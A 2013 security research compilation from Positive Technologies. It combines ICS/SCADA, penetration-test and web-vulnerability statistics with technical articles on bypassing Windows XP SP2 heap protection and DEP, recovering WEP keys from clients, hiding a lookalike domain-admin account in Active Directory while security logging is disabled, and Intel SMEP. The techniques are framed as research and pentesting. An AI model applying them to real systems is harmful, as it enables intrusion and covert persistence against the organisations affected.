Best of Positive Research 2013

Positive Technologies is first and foremost an expert in the accumulation of advanced
knowledge in the security of information infrastructures and critical business, government,
and personal assets.
Practical experience gained during 10 years of engagement in practical information security and
innovative technologies are at the heart of our products and services. This knowledge is used by
government and industry regulators, vendors of security systems and tools, applied in training
courses, included into advanced experience and security recommendation compilations.
The major part of our innovations are conceived in the Positive Research Center. This is the com-
pany's brain, where know-how is developed, threats and vulnerabilities are analyzed, the newest
technologies are created and prototyped (from source code analysis to ERP protection) and pen-
etration tests are carried out.
The security industry is growing rapidly. There are a lot of long-term tasks, and many up-to-date
questions have yet to be answered. The Positive Research Center is in the front line, which is why
its work is directed at the most acute industry problems, among which are:
• ERP security
• ICS security assessment
• Protection of payment applications, remote banking systems, ATMs
• Cloud technologies and virtualization systems
• Detection of zero-day vulnerabilities and prevention of APT attacks
• Use of Big Data in information security
• Analysis of source code and the SAST/DAST/IAST technologies
• Complex protection of web applications and portals
• Mobile platform and application security
This work naturally results in knowledge base expansion of the MaxPatrol Compliance andVulner-
ability Management System, creation of new services and products, the advantages of which are
already deployed by the partners and clients of Positive Technologies.
This collection covers the most interesting research and publications made by the experts of
Positive Technologies. However, first we would like to introduce our experts. Meet the Positive
Research Center!
INTRODUCTION

2 BEST OF POSITIVE RESEARCH
More than 40% of systems available from the
Internet can be hacked by unprofessional users
Modern civilization is largely dependent on
ICS/SCADA industrial process automation sys-
tems. The operation of nuclear power plants,
hydroelectricity plants, oil and gas pipelines,
and transport systems at national and world
level are based on computer technology. It is
easy to imagine the consequences of hacker at-
tacks against these systems. There are different
opinions among experts about the production
system security: some says SCADA is totally un-
secured, and others claim that protection mea-
sures are not required as it is impossible to hack
such systems. Who is right?
In 2012, Positive Technologies experts con-
duct a research on ICS, SCADA security. The
reseacrh subject is vulnerabilities detected in
production SCADA systems starting 2005 till
October 1, 2012. The research includes analysis
of the Russian market of SCADA components
and the availability and security testing of simi-
lar systems located in other regions. The main
aim of the research is to help experts to assess
actual ICS security risks and take protection
measures for critical objects.
Dynamics of Vulnerability Discovery
20 times more vulnerabilities have been de-
tected since 2010 comparing with the previ-
ous five years. About 65% of vulnerabilities are
of high or critical level . These figures greatly
exceed similar figures for other IT systems that
evidently proves ICS poor security level.
analytics
SCADA SAFETY IN NUMBERS
ICS in Figures:
• The number of detected vulnerabilities has increased by 20 times (since 2010).
• It takes more than a month to fix each fifth vulnerability.
• 50% of vulnerabilities allow a hacker to execute code.
• There are exploits for 35% of vulnerabilities.
• More than 40% of systems available from the Internet can be hacked by
unprofessional users.
• The third part of systems available from the Internet is located in the USA.
• The fourth part of vulnerabilities is related to the lack of necessary security updates.
• 54% and 39% of systems available from the Internet in Europe and North America
respectively are vulnerable.
• Every second system in Russia available from the Internet is vulnerable.
2005 2007 2008 2010 2011 2012
100
80
60
40
20
0
98
64
531
11
0% 20% 40% 60% 80% 100%
RuggedCom
Sielco Sistemi
Progea
WellinTech
Automated Solutions
ICONICS
Measure soft
Schneider Electric
Ecava
ABB
Advantech/Broadwin
General Electric
Siemens
Rockwell Automation
Wonderware
Emerson
Lantronix
SEL
LowCritical High Medium
ICS component vulnerabilities by severity level
Dynamics of the Number of Vulnerabilities
Gleb Gritsai, Alexander Timorin, Yuri Goltsev, Roman Ilyin, Sergey Gordeychik, Anton Karpin / October 1, 2012 / The full version of the research: http://
www.ptsecurity.com/download/SCADA_analytics_english.pdf

3BEST OF POSITIVE RESEARCH
Six-fold increase of exploits
If there are ready-to-use tools to exploit the
vulnerability in the public domain, it is much
more possible that the attack will be conduct-
ed successfully. Any hooligan can cause the a
record loss. 50 exploits were published start-
ing in 2011 and up to September 2012: this is
six times greater than the corresponding rate
for the period 2005 - 2010. Now for 35% of all
known SCADA vulnerabilities exploits have
been issued, which are available as single utili-
ties, parts of penetration testing software or are
described in security bulletins. According to
Positive Technologies experts, the number of
available exploits for ICS are many times greater
than the number of available exploits for other
IT systems.
What to protect first?
Such ICS components as SCADA systems and
human machine interface (HMI) are present a
significant interest for attackers. For the report-
ing period (starting 2005), the experts discov-
ered 20 vulnerabilities in the programmable
logic controllers of different vendors.
ICS is easy to hack
More than 40% of ICS systems available from
the Internet are vulnerable and can be hacked
by poorly trained users. The systems, which
were proved secure in the course of the re-
search, comprise only 17%.The USA and Europe
lead in the number of ICS systems published in
the Internet: 54% of ICS systems available from
the Internet in Europe, 39% in USA and 32% in
Asia are vulnerable and could be hacked. Exact-
ly the half (50%) of ICS systems available from
the Internet are vulnerable in Russia.
Reasons of ICS low severity level
Most security flaws of ICS systems available
from the Internet are related to configuration is-
sues (for example, the use of default passwords).
Another reason is the lack of necessary security
updates: it causes about the fourth part of ICS
vulnerabilities.
Vulnerabilities Fixed Promptly
First, security defects are detected in
the most popular solutions, and ICS com-
ponent vendors fix them rather efficiently.
Every fifth vulnerability was not fixed within
30 days of the detection. A display of fixed
vulnerabilities percentage gives a clear
view on how serious ICS vendors are about
information security issues. For instance,
Siemens fixed and released patches for 88%
of vulnerabilities, while ABB fixed only 67%
of security defects.
0 1000 100
Schweitzer Engineering Laboratories
Lantronix
ABB
Rockwell Automation
General Electric
Siemens
WellinTech
Advantech/Broadwin
Schneider Electric
Total
Not fixed
100%
33% 67%
22%
20%
12%
11%
9%
78%
80%
88%
89%
91%
7% 93%
100%
Fixed
16% 84%
Percentage of Fixed Vulnerabilities in ICS
Percentage of Vulnerable ICS Systems in Different Countries

This research includes general statistics on
penetration testings conducted by Positive
Technologies experts in 2011 and 2012. This
covers both external penetration testing and
penetration testing from an attacker's side.
In 2011 and 2012, Positive Technologies ex-
perts conducted more than 50 penetration
tests, this research is based on the results of
the 20 most scaled tests in the reporting period
(10 for every year). We did not include results of
security analysis conducted on a significantly
limited number of hosts as these results did not
represent the security level of certain informa-
tion systems.
The research covers the major government
and commercial organisations including mem-
bers of the TOP-400 Russian enterprises in 2012
according to Expert RA agency.
General statistics in 2011 and 2012
Minimal attacker's qualification (control over
critical resources)
Positive Technologies experts managed to
get full control over critical resources of the
testing systems in 75% of conducted tests, and
almost half of tests (45%) showed that any ex-
ternal attacker could get the same access level.
The quarter of tests showed that internal attack-
ers located in the user network segment could
get the full control over critical resources with-
out any extra privileges.
Minimal attacker's qualification (perimeter bypass)
The half of systems did not require extra privi-
leges for an attacker to bypass security perim-
eter. It is possible for every Internet user to ac-
cess system's external network. Considering the
fact that penetration testings were conducted
in large state and commercial companies in
which unauthorized access means enormous
loss, these results show an extremely low level
of information security in Russian companies.
Level of privileges obtained on the part of an
external attacker
84% of the examined systems are vulnerable
to unauthorized access via Internet. And every
third testing resulted in full control over the
whole infrastructure.
internal attacker
Penetration testings in all examined systems
allows experts to get unauthorized access to
resources. In 67% of the examined systems, an
unprivileged internal attacker with connection
to the user network segment is able to get full
control over the whole infrastructure. And only
once (8%) this type of attackers was unable to
escalate privileges, but it was possible to get full
control over certain critical systems via network
connection to the administrative segment with-
out extra privileges.
Severity level of the detected vulnerabilities
At least, vulnerabilities of medium severity
level were detected in all examined systems.
More than 80% of systems included vulnerabili-
ties of high severity level.
Severity level of the detected vulnerabilities related
to configuration flaws
Three-quarter systems included vulner-
abilities of high severity level lated to config-
uration flaws. And vulnerabilities of medium
severity level were detected in about 25% of
systems.
Severity level of the detected vulnerabilities related
to update flaws
65% of systems included vulnerabilities of
medium or high severity level related to update
policy. And almost half of the systems included
critical vulnerabilities.
Security analysis of wireless networks
Wireless network analysis resulted as follows:
every fourth system used weak WEP encryption
algorithm that could be hacked in a matter of
minutes.
Dynamics of information security level
in 2011 and 2012
Minimal attacker's qualification (full control over
critical resources)
We state that the number of systems that
experts did not manage to hack and get full
control over the critical resources, increases
from 20% to 30% for the last year. But at the
same time, we state the increase of the number
of systems that allow external attackers to get
control over critical resources. (in 2012 it is pos-
sible for a half of examined systems.)
Minimal attacker's qualification (perimeter bypass)
In 2012 we state minor increase in the num-
ber of systems that allows external attackers
to access their external networks (the current
value is 56%).
Figure 1.
Minimal level of attacker's qualification required to get the
fill control over critical resources
25%
45%
25%
5%
Any external attacker
Any attacker located in user network segment
Any attacker located in administrative network segment
Not detected
Statistics on penetration
testing results in 2011 and 2012
Figure 2.
Minimal level of attacker's qualification required to get the
fill control over critical resources
2012 50%
20%
30%
2011
30%
40%
20%
10%
Any external attacker
Any attacker located in user network segment
Any attacker located in administrative network segment
Not detected
Evgeniya Potseluevskaya / 2013

external attacker
In 2012, we state the increase of security level
in external web applications created as a part of
corporate information systems: they are less vul-
nerable to attacker's penetration into the inter-
nal network. Also, the number of systems with
reasonable security level according to external
attackers, increased twice -from 10% to 22%.
internal attacker
The number of systems that experts man-
aged to get full control over the whole infra-
structure as an external attacker from the user
network segment decreases; but in 2012 every
of such systems allowed experts to get admin-
istrative access to at least one of hosts for this
type of attackers.
The most widespread vulnerabilities
in 2011 and 2012:
• dictionary passwords;
• password policy flaws;
• open or insecure protocols.
More details about penetration testings conduct-
ed in 2011 and 2012 see on www.ptsecurity.ru.
2011
10%
10%
40%
30%
10%
2012
33%
22%
11%
11%
11%
11%
2011
87%
13%
2012
33%33%
33%
Figure 4.
Level of privileges obtained on the part of an internal attacker
Full control over infrastructure
Maximum local privileges on a host
Maximum privileges in critical systems
(access is possible from administrative segment only)
DBMS administrator
Figure 3.
Level of privileges obtained on the part of an external attacker
Full control over infrastructure
Maximum local privileges on a host
Maximum local privileges on an external web server
Web application administrator
Web application user
Unable to access resources
0% 10% 20% 30% 40% 50% 60% 70% 80% 90% 100%
Figure 5. TOP-20 most widespread vulnerabilities
Dictionary passwords
Weak password policy
Usage of insecure or insufficiently secure protocols
(HTTP, Telnet, RSH, POP3, SMTP, FTP, etc.)
Sensitive data storage and transferring in clear text
Usage of out-of-date versions of system and application
software
SQL Injection
SNMP community string default values (private, public)
Cross-Site Scripting
Availability of network hardware/servers managing interfaces
from external networks (or form any segment of local network)
Arbitrary File Reading
No filtering in STP, CDP, HSRP, EIGRP, VRRP protocols
No protection for DHCP, STP, HSRP, EIGRP, VRRP protocols
Password reversed encryption
No APR Poisoning protection
Redundant user privileges
No authentication required to access critical resources
No protection against attacks aimed to bruteforce accounts
A possibility to mount third-party hardware without
authorization
Usage of Aggressive Mode on VPN gateways
Information Disclosure about used applications

Planning an attack against a company's informa-
tion infrastructure, cybercriminals investigate its
web applications first of all. Such resources are
not only easily accessible, but very often they
include a series of vulnerabilities, exploitation
of which may provide access to a corporate
network and then to critical assets, e.g., to ICS/
SCADA or ERP.
In 2012, as part of various security auditing
and pentesting projects, the experts of Positive
Technologies examined several dozens of web
applications of their customers and partners:
self-service portals of mobile operators, I-bank
systems, information resources, etc.The obtained
information was used as a basis for the research,
the short version of which is provided in this ma-
terial. Analysis of bank application vulnerabilities
is available on the next pages, and we will specify
the most acute web threats that endanger tele-
com companies, industry, IT and IS companies
and will compare them with the results of the
research conducted in 2010 and 2011.
Top Vulnerabilities
We have detected vulnerabilities in all the
tested web applications, and 45% of them con-
tained high-severity vulnerabilities.
In 2012 three fourths of the resources (73%)
contained the Fingerprinting vulnerability
(software identification). The second place was
taken by a flaw allowing Cross-Site Scripting. It
was detected in 63% of the examined web ap-
plications.
In 2010 and 2011 top 10 most common
vulnerabilities of web resources were headed
by Cross-Site Request Forgery (CSRF), to which
61% of the examined resources were exposed,
three severe vulnerabilities SQL Injection (47%),
OS Commanding (28%), and Path Traversal
(28%) took position in the top 10.
The percentage of sites with high-severity
vulnerabilities was a little bit reduced in 2012:
38% of sites exposed to SQL Injection, 18% to
Path Traversal, and 16% to OS Commanding.
Which one is more critical?
The leader is telecom companies. 78% of
sites have vulnerabilities of high severity level.
The industry sector results in half of such sites,
and then goes IT and IS companies and about
every third web application among state insti-
tutes includes a vulnerability of high severity
level.
Telecom companies
As a rule, infrastructure in large telecom com-
panies consists of networks and systems unevi-
dently connected together. You can find details
on security analysis of such companies in the
Sergey Gordeychik's article in this magazine.
Traditionally, applications in this sector have the
most number of vulnerabilities of high severity
level: 78% of the examined applications include
at least one "red" error. This figure is rather big
but it is less than 88% got in 2011 and 2012. As
before, these web applications are often targets
of attacks against users (Client-Side Attacks)
and are full of Cross-Site Scripting vulnerabili-
ties. Among the most dangerous vulnerabilities
widespread among these web applications are
also Path Traversal and SQL Injection, and OS
Commanding and XML Injection that are de-
tected less often.
IT ans IS companies
In 2012 we include into the research not only
statistics by IT companies web applications but
also by IS companies. It can possibly improve
the results in this sector.
In 2010 and 2011 75% of sites included vul-
nerabilities of high severity level, but now the
figure decrease to 45%.
The peculiarity of web applications in this
sector is XPath Injection. As for the rest, the
results are similar to the general statistics: the
web applications include many OS Command-
ing, Path Traversal and SQL Injection. They also
include Denial of Service, and one web applica-
tion (IT sector) based on popular commercial
CMS, included tens of SQL Injection.
Industry
In 2012, 50% of examined web applications
includes vulnerabilities of high severity level,
just the same as in 2010-2011. IS departments
in industry companies should pay special atten-
tion to OS Commanding and SQL Injection, and
to also to less dangerous but numerous Cross-
Site Scripting.
Web Application Vulnerabilities —
More Dangerous Than May Seem
0%
20%
40%
60%
80%
100%
Figure 1. Vulnerabilities according to severity (site percentage, %)
High Medium Low
45% 90% 73%
Evgeniya Potseluevskaya / 2013

State institute
Almost third part of web applications (27%)
belonged to state institutes,includes vulner-
abilities of high severity level. A year ago there
were 65% of such web applications. On the
one hand, the dynamics is amazing, but from
the other hand the figure is rather big consid-
ering the fact the a great number of state ser-
vices (that means great amounts of confidential
information) are going to be online. The most
dangerous attack vectors for state institutes are:
SQL Injection, Path Traversal and OS Command-
ing Denial of Service. Also, in this sector we de-
tected the only large corporate portal infected
by a virus in 2012.
Summary
In general, the average level of web application
security increases compared to 2011.The number
of sites with critical vulnerabilities decreases by
15% and now correspond 45%. We detected only
one infected web application while previously
10% of sites included malware. From the other
hand, there are signs of stagnation.The number of
web applications with vulnerabilities of high level
in industry sector stays the same, sites in telecom
sector increases their security level rather slowly.
Also, in 2011 vulnerabilities of medium severity
level were detected in all examined applications.
Therefore, there are work to do.
The detailed research you can find on Positive
Technologies official web site: ptsecurity.ru in Re-
search section.
P. S. This data was collected in the course of
analysis of web application security performed
by Positive Technologies in 2012. Security was
assessed manually by means of white- and black-
box testing conducted with the help of automat-
ed tools. Web Application Security Consortium
Threat Classification (WASC TC v. 2) was imple-
mented for classification of vulnerabilities, except
for errors of handling input and returned data. Se-
verity level of a vulnerability was assessed by the
Common Vulnerability Scoring System (CVSS v. 2),
then high, medium and low severity levels were
singled out.
Figure 3 . Vulnerability with high severity level related to different economy sectors (%, percentage)
0% 20% 40% 60% 80% 100%
URL Redirector Abuse
Path Traversal
Information Leakage
Server Misconfiguration
Credential/Session Prediction
Cross-Site Request Forgery
SQL Injection
Brute Force
Cross-Site Scripting
Fingerprinting
Figure 2. The most common vulnerabilities (site percentage, %)
0%
20%
40%
60%
80%
100%
Telecom ITIS Industry State institutes
78% 45% 50% 27%

Heap Overflow
Let`s take a look at this pretty simple example
of a vulnerable function:
HANDLE h = HeapCreate(0, 0, 0); // de-
fault flags
DWORD vulner(LPVOID str)
{
LPVOID mem = HeapAlloc(h, 0,
128);
// <..>
strcpy(mem, str);
// <..>
return 0;
}
As we can see here the vulner() function cop-
ies data from a string pointed by str to an allo-
cated memory block pointed at by buf, without
a bound check.
A string larger than 127 bytes passed to it
will thereby overwrite the data coincidental to
this memory block (which is, actually, a header
of the following memory block). The heap
overflow exploitation scenario usually pro-
ceeds on like this:
If during the buffer overflow the neighboring
block exists, and is free, then the Flink and Blink
pointers are replaced (Fig. 1).
At the precise moment of the removal of this
free block from the doubly-linked freelist a write
to an arbitrary memory location happens:
mov dword ptr [ecx],eax
mov dword ptr [eax+4],ecx
EAX - Flink
ECX - Blink
For example, the Blink pointer could be re-
placed by the unhandled exception filter ad-
dress (UEF - UnhandledExceptionFilter), and
Flink, accordingly, by the address of the in-
struction which will transfer ther execution to
the shellcode.
In Windows XP SP2 the allocation algorithm
was changed -- now before the removal of
a free block from the freelist, a pointer sanity
check is performed with regard to the previous
and next block addresses (safe unlinking, fig. 2.):
1. Free_entry2 -> Flink -> Blink == Free_
entry2 -> Blink -> Flink
2. Free_entry2 -> Blink -> Flink == Free_
entry2
7C92AE22 mov edx,dword ptr [ecx]
7C92AE24 cmp edx,dword ptr [eax+4]
7C92AE27 jne 7C927FC0
7C92AE2D cmp edx,esi
7C92AE2F jne 7C927FC0
7C92AE35 mov dword ptr [ecx],eax
7C92AE37 mov dword ptr [eax+4],ecx
Then that block gets deleted from the list.
The memory header block was changed, be-
sides other things. A new one-byte large 'cook-
ie' field was introduced, which holds a unique
precomputed token – undoubtely designed to
ensure header consistency.
This value is calculated from the header ad-
dress and a pseudorandom number generated
during the heap creation:
(&Block_header >> 3) xor (&(Heap_header
+ 0x04))
The consistency of this token is checked only
during the allocation of a free memory block
and only after its deletion from the free list.
If at least one of these checks fails the heap is
considered destroyed and an exception follows.
The first weak spot – the fact that the cookie
gets checked at all only during free block al-
location and hence there is no checks upon
block freeing. However in this situation there is
nothing you can do except changing the block
size and place it into an arbitrary freelist. And
the second weak spot – the manipulation of
the lookaside lists doesn`t assume any header
sanity checking, there isn`t even a simple
cookie check there. Which, theoretically, results
in possibility to overwrite up to 1016 bytes in
an arbitrary memory location. The exploitation
scenario could proceed as follows: if, during
the overflow the concidental memory block is
free and is residing in the lookaside list, then it
becomes possible to replace the Flink pointer
with an arbitrary value. Then, if the memory
allocation of this block happens, the replaced
Flink pointer will be copied into the header of
the lookaside list and during the next allocation
HeapAlloc() will return this fake pointer.
The prerequisite for successful exploitation is
existence of a free block in lookaside list which
neighbors with the buffer we overflow.
This technique was successfully tested by
MaxPatrol team in trying to exploit the heap
buffer overflow vulnerability in the Micro-
soft Windows winhlp32.exe application using
theadvisory published by the xfocus team:
http://www.xfocus.net/flashsky/icoexp/index.html
The effect of a successful attack:
1) Arbitrary memory region write access (small-
er or equal to 1016 bytes).
2) Arbitrary code execution (appendix A).
3) DEP bypass.
Full article: http://bit.ly/ZTdhuM
OLD SCHOOL
Defeating Microsoft Windows
XP SP2 Heap protection and DEP
bypass
Alexander Anisimov / January 26, 2005 / The full version of the article: http://blog.ptsecurity.com/search/label/Best%20of%20Positive%20Research
Critical Vulnerability on Google
A critical vulnerability that would have allowed an attacker to perform a remote
command execution on the target system was detected by the experts of Positive
Research Center. This security flaw was eliminated by the Google team. The work was
featured as part of Google Vulnerability Reward Program and rewarded with a prize
due for such significant discoveries.
(2012)

Attacks Against WEP Clients
Introduction
Speaking about WEP protocol vulnerabilities
in 2007 seems possible only in the context of
a historical retrospective, however, anyone can
easily come across it even today. All the known
WEP hacking techniques are primarily aimed at
access points and require interaction with AP.
This article describes a technique that allows
restoring a WEP key not accessing AP and being
within the station radio coverage.
For instance, a WEP key to a home access
point can be obtained when its owner uses a
laptop in a plane or office.
Attacks against wireless network clients
Attacks against wireless network clients are
an effective malware tool. One of the most
wide-spread techniques is creation of a false ac-
cess point.
According to the researches based on the
technique Gnivirdraw (http://bit.ly/10pfXMu),
up to 80% of clients contain insecure connec-
tions in a profile or connect to false access
points for other reasons. However, if a station
uses any security mechanisms, even such as
WEP, attackers have fewer chances to succeed.
A malware user can set a false access point with
an arbitrary WEP key and a lot of clients will con-
nect to this point on the channel level, but they
will be unable to exchange information.
The majority of up-to-date TCP/IP stack im-
plementations generate some amount of net-
work traffic upon connection to the network.
The messages of such protocols as DHCP, Net-
BIOS, IPv6 NDP are a good example. However,
the number of transferred packets in this case is
not enough to conduct the KoreK attack, which
requires tens of thousands of packets with dif-
ferent initialization vectors (IV).
To hack WEP, it is necessary to provoke a con-
nected client to transfer sufficient number of
packets with the different values of initialization
vectors. This task can be solved by transferring
messages, which require a response (ARP, ICMP-
Echo, IPv6 NDP), to a client. And it should be
done without knowing the WEP key.
Fragmentation attacks
There are a lot of ways to create WEP pack-
ets not knowing encryption keys. The most ef-
ficient is fragmentation in 802.11 (http://bit.ly/
ZP0P0B). This technique consists in conducting
of an attack with a known plaintext. Exploiting
the predictable format of the LLC headers, it
is possible to restore 8 bytes of the array (the
PRGA in RC4, hereinafter PRGA). For this, the first
8 encrypted bytes are added modulo 2 to the
constant that contains the standard values of
the LLC headers (see fig. 2).
As it is seen, the last two bytes of the LLC
header can be changed. Their value determines
the type of a higher-level protocol. Possible
values of these fields are described in the IANA
documents.
In the majority of cases wireless networks
are used to transfer IP traffic. Therefore, the field
Ether Type can take any of three possible values:
IP, ARP or IPv6.
Packets are easily distinguished by their
length or service MAC addresses.
The obtained 8 bytes can be used to transfer
arbitrary data of the same length to the net-
work. When a client's packet is hijacked and
the PRGA is restored, the transferred packet is
divided into several fragments with 4 bytes of
data each (see fig. 3).
Each of them is transferred as an individual
frame using fragmentation in 802.11. The pack-
ets are appended by a checksum (WEP ICV) and
encrypted with the restored PRGA.
It is possible to transfer a more significant data
volume using peculiar features of the protocols:
• For an ARP packet, PRGA bytes can be restored
using LLC, ARP or MAC addresses.
• For IPv6 NDP Neighbor Solicitation or Router
Solicitation, up to 50 bytes can be restored (LLC
headers + IP headers + 2 bytes of the ICMP
headers).
Sergey Gordeychik / January 17, 2007 / The full version of the article: http://blog.ptsecurity.com/search/label/Best%20of%20Positive%20Research
Fig. 1. Connecting to a false access point
Fig. 2. Restoring PRGA
Fig. 3. Transferring of fragmented frames

Packets, which size is less than 736 bytes, can
be transferred to the network using 50 bytes of
the PRGA ((50-4)*16) — it is more than enough
for practical purposes.
Traffic generation
An ARP request can be used to generate cli-
ent-side traffic. For the station to respond to an
ARP request, the field Target IP should contain
the current IP address of the interface. A mal-
ware user does not have this information, be-
cause addresses are transferred in an encrypted
form in packets.
To obtain the IP address of the station, one
can make use of ARP scanning, that is of ARP
requests sending to various addresses of recipi-
ents and waiting for a response.
Addresses from the APIPA range (169.254/32)
or RFC 1918 addresses (e.g., 192.168.0/24) can
be chosen as a range for scanning. When the
IP address of the station is determined, the ARP
request is transferred once again to obtain such
a number of packets with various initialization
vectors that is needed to conduct the KoreK at-
tack.
If the station supports IPv6, broadcast IC-
MPv6 echo requests (ff02::01) can be used to
determine addresses.
The clients based on the following OS were
used in the course of the research:
• Windows XP Service Pack 2
• Linux 2.6.x
• Windows Mobile 2003 SE
Summary data is provided in the table.
Implementation
The wep0ff tool (and wep0ff_ng) has been
developed to demonstrate the attack described
above. As practice shows, the tool allows restor-
ing keys of WEP clients for the period from 2 to
20 minutes (depending on the system used).
Beware of Russians!
Researchers from AirTight Networks planned to represent a tool for conducting the
Café Latte Attack at ToorCon 9, which took place in San Diego in 2007. Making use
of this tool, an attacker could restore the WEP keys of users located in public places
such as cafés or airports. A few hours before the presentation, the researchers were
surprised to know that a similar attack vector had already been implemented by in-
formation security experts from Russia in a program for WEP hacking named wep0ff.
(2007)
Windows XP Service Pack 2 Linux 2.6.x Windows Mobile 2003 SE
APIPA support Yes Depends on configuration Yes
IPv6 support Requires configuration Built-in Built-in
Response to ping6 ff02::1 Yes Yes Yes
RFC3041 support No No No
Fig. 4. ARP scanning
Fig. 6. Wep0ff
Fig. 5. IPv6 use

At the beginning of the last year, I already raised
the issue of post-exploitation in a Microsoft Ac-
tive Directory domain. The brought forward ap-
proach addressed the variant aimed mostly at
the case of the loss of admin privileges rather
than their exploitation. Additionally, the action
of regaining the privileges itself involved con-
spicuous events and visually evident manipula-
tions in the directory. In other words, to regain
admin privileges one had to become a member
of the appropriate security group, such as Do-
main Admins.
It should be mentioned that administrators
get very nervous when suddenly they real-
ize there is someone else in the system. Some
of them rush to address the security incident
horse and foot, sometimes taking most unpre-
dictable steps.
Now imagine how an Active Directory ad-
ministrator of a large company can react when
they see an unfamiliar account name in the En-
terprise Admins security group.
I spent a lot of time thinking on how, with-
out scaring administrators, to use the privileges
gained during pentest freely (especially with
aggressive counteraction of administrators, as
it was during my recent pentests). On the one
hand, pentesters are strictly limited in their pos-
sibilities. For example, the rule of minimizing
impact on the object is taken for granted. So,
we cannot simply create and leave backdoors
all around the network. On the other hand,
there are absolutely clear goals that should be
achieved before a happy administrator notices
unauthorized activity and unplugs the com-
puter.
So how can a pentester remain unnoticed
in Microsoft networks?
The first thing that comes to my mind is to
use an admin account. The access is legitimate,
so it should not attract any special attention.
However, as experience has shown, obtaining
clear-text admin password is not always pos-
sible. In such cases the attack called Pass-the-
Hash comes to your aid. It would be almost per-
fectly ok (almost, since the Pass-the-Hash type
of attack narrows the possibilities of developing
the attack, e.g. the RDP remote access proto-
col cannot be used), but in serious companies
administrators gradually turn to smart cards,
which do not allow conducting attacks based
on the NTLM protocol faults. Ok, we still can ex-
ploit an authorized user's token (e.g., incognito)
and/or a Kerberos ticket (e.g., WCE). That's as it
may be, of course, but available tools for con-
ducting such types of attacks, unfortunately, are
definitely lousy. Moreover, in both cases (just
as in case of Pass-the-Hash), the attackers are
rather limited in their actions by the protocols
in use that support domain SSO.
So, the most attractive way is to exploit the
privileges of, if not an existing domain admin
account, then a created one with a known pass-
word.
How, while doing this, not to be spotted by an
attentive eye of the domain administrator?
First, adding changes to Active Directory
involves generation of certain events, about
which administrators had better not know. So,
before intruding a domain (of course, only as
part of a pentest and only with an approval of
your customer's representative) disable logging
of security events on the domain controllers
by using an appropriate GPO. Let me remind
you that by default the time of group policies
background refresh on domain controllers is 15
minutes.
Second, why not to create a visually identi-
cal account that is analogous to the existing
domain admin account? To achieve it, you can,
for example, use Unicode symbols (!). Then,
you can set the newly created user’s attribute
showInAdvancedViewOnly to TRUE, which will
allow you to hide the object in the default view
mode of the Manage users and computers (dsa.
msc) snap-in. After that, there is one remaining
step: to assign the account to an administrative
group which is free from a real domain admin
(as a rule, administrators just can’t help assign-
ing their accounts to all thinkable and unthink-
able administrative groups), for instance, let’s
leave the admin account in the Enterprise Ad-
mins group, and put its clone into the Domain
Admins group
However, I suppose many readers are already
in doubt that the campaign can be successful.
And they are right! This technique is good for
nothing, since it has two significant defects.
First, the created account is visible in the di-
rectory to an ‘aided eye’. And secondly, when
searching for users in the domain, the admin
account appears double.
What are the solutions to these problems?
It would seem that the simplest solution is
obvious: to set the permissions on the newly
created object (our account) appropriately. It is
sufficient to forbid the Everyone group to read
public information about the object. And in the
organization unit, next to the real Active Direc-
tory admin, ‘something’ will appear, and this
VULNERABILITIES
A Backdoor in the Next
Generation Active Directory
Dmitry Evteev / January 9, 2012 / The full version of the article: http://blog.ptsecurity.com/2012/01/backdoor-in-next-generation-active.html

‘something’ will cease to let itself be noticed in
the output of domain accounts search. How-
ever, this dolce vita will last not more than 60
minutes. The thing is that by default every 60
minutes the SDPROP process runs on the do-
main controller which acts as a PDC emulator.
The process restores access rights of some Ac-
tive Directory objects (including all members of
administrative groups) according to the defined
permissions on the AdminSDHolder object.
Unfortunately, it is impossible to disable the
security mechanism by using standard func-
tionality. A hacking attempt via exploiting per-
missions on the object may cause replication
problems (here it starts to smell of sort of sabo-
tage, which is inadmissible when pentesting).
Changing ACLs on the AdminSDHolder object
will affect many objects, including all domain
admins accounts. So, as a possible feasible solu-
tion you may want to use regular running of a
script which redresses the consequences of the
SDPROP process actions.
However, there is even a better alternative.
The SDPROP process restores ACE for specific
privileged objects only, but ACEs of organiza-
tion units that contain such objects remain un-
changed. That is just the thing for exploitation!
Using Unicode symbols you can freely create
organizational units sequence analogous to
the one that contains the clone account. "Cor-
rect" permissions on the parent container allow
hiding it from the sharp eye of administrators
(within reasonable limits, of course).
The idea of this approach is that Active Direc-
tory administrators should not develop alarm-
ing suspicions that the systems entrusted to
them are compromised. They still remain valid
administrators, however there is a privileged
group member account which is visually identi-
cal to the AD admin account...
And one more thing. In order to avoid ap-
pearing of the doubles of the accounts when
searching in the directory, you can use, for in-
stance, the 202E symbol (my thanks to Alexan-
der Zaitsev for reminding me this). The symbol
turns over the string that follows it. So, if you
create, for example, a clone for the ‘dmitry.iva-
nov’ account, the newly created account name
will look like ‘202E’+’vonavi.yrtimd’. Perhaps this
approach is not very convenient for authenti-
cating in the system, but it helps avoid appear-
ing in the search input.
In the aspect of security event logs, the ap-
proach also allows you to remain unnoticed for
a certain period of time.
Positive Technologies Joins OVAL Community
Open Vulnerability and Assessment Language (OVAL) is an open XML-based lan-
guage for description and assessment of vulnerabilities. It provides means for de-
scription of a system under research, for analysis of its state and reporting on the
check results. In 2012 Positive Technologies OVAL Repository was opened. It allows
IS specialists from all over the world to make use of the knowledge of the Positive
Technologies experts and software developers to make their programs securer. MI-
TRE, an organization that supports OVAL, entitled Positive Technologies an Official
OVAL Adopter and included Positive Technologies OVAL Repository into the official
list of products supporting OVAL.
(2012)

With a new generation of Intel processors
based on the Ivy Bridge architecture a new se-
curity feature has been introduced. It is called
SMEP which stands for “Supervisor Mode Ex-
ecution Prevention”. It prevents execution of a
code located on a user-mode page at a CPL =
0. From an attacker’s point of view this feature
significantly complicates an exploitation of
kernel-mode vulnerabilities because there’s no
place for a shellcode to be stored. Usually while
exploiting some kernel-mode vulnerability an
attacker would allocate a special user-mode
buffer with a shellcode and then trigger vul-
nerability gaining control of the execution flow
and overriding it to execute prepared buffer
contents. So if an attacker is unable to execute
his shellcode, the whole attack is meaningless.
But there are certain cases when the execution
environment allows bypassing the security fea-
tures when it is not properly configured.
SMEP is a part of a page-level protection
mechanism. In fact it uses the already exist-
ing flag of a page-table entry - the U/S flag
(User/Supervisor flag, bit 2). This flag indicates
whether a page is a user-mode page, or a ker-
nel-mode. The page’s owner flag defines if this
page can be accessed, that is, if a page belongs
to the OS kernel which is executed in a supervi-
sor mode, it can’t be accessed from a user-mode
application.
SMEP is enabled or disabled via CR4 control
register (bit 20). It modifies the influence of the
U/S flag. Whenever the supervisor attempts to
execute a code located on a page with the U
value of this flag, indicating that this is a user-
mode page, a page fault is generated by the
hardware due to the violation of an access right
(described in the Intel SDM).The software has to
process SMEP mechanism violation in a page-
fault handler.
